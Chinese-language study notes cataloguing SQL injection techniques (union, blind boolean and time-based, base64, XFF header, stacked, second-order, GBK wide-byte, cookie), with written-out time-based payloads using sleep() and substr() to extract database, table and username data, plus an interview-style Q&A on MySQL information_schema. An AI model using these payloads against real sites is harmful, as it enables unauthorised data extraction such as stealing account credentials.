union注入
boolean注入
报错注入
时间注入语句:
if(expr1,expr2,expr3) :若expr1为true,则执行expr2,否则执行expr3.
判断数据库库名长度: and if(length(databse())>1,sleep(5),1)
判断数据库库名:and if(substr(databse(),1,1)='t',sleep(5),1)
判断表名:and if(substr((select column_name from information_schema.columns where table_schema='database()' and table_name='users' limit 0,1),1,1)='t',sleep(5),1)
判断内容:and if(substr((select username from test.users limit 0,1),1,1)='z',sleep(5),1)
base64注入
源码对参数通过base64_encode()加密了
xff
在X_FORWORD_FOR参数处注入
堆叠注入
利用mysql能同时执行两个命令的特性。第二个命令不回显的情况下,可以与时间注入结合使用。
二次注入
第一次没有注入点
存在注入点的位置为第二次内部查询的时候
宽字符注入
addslashes()这个函数会将'转译成
gbk编码%df和的编码%5c合并为一个字符運
从而'可以逃逸
cookie注入
从cookie头部传入id参数
分类:
根据注入点位置:POST、GET、cookie、xff等
根据注入点类型:字符型、数字型、搜索型
根据执行效果:报错注入、布尔盲注、时间延时
问:在Mysql5.0以上和Mysql5.0以下的版本中最大的区别是什么?
答:在Mysql5.0以上的版本中加入了一个information_schema这个系统表,这个系统表中包含了该数据库的所有数据库名、表名、列表,可以通过SQL注入来拿到用户的账号和口令,而Mysql5.0以下的只能暴力跑表名;5.0 以下是多用户单操作,5.0 以上是多用户多操作。